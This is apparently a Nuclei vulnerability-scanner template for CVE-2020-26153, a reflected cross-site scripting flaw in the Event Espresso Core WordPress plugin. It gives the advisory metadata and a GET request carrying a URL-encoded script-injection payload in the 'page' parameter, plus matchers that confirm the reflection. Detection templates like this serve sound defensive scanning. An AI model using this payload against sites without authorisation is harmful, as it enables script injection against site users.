id: CVE-2020-26153

info:
  name: Event Espresso Core-Reg XSS
  author: pikpikcu
  severity: medium
  description: |
    cross-site scripting (XSS) vulnerability in wp-content/plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php in the Event Espresso Core plugin before 4.10.7.p for WordPress allows remote attackers to inject arbitrary web script or HTML via the page parameter.
  reference:
    - https://labs.nettitude.com/blog/cve-2020-26153-event-espresso-core-cross-site-scripting/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26153
  tags: cve,cve2020,xss,wordpress,wp-plugin
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2020-26153
    cwe-id: CWE-79

requests:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php?page=%22%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cb"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"/></script><script>alert(document.domain)</script>'
        part: body

      - type: status
        status:
          - 500

      - type: word
        part: header
        words:
          - text/html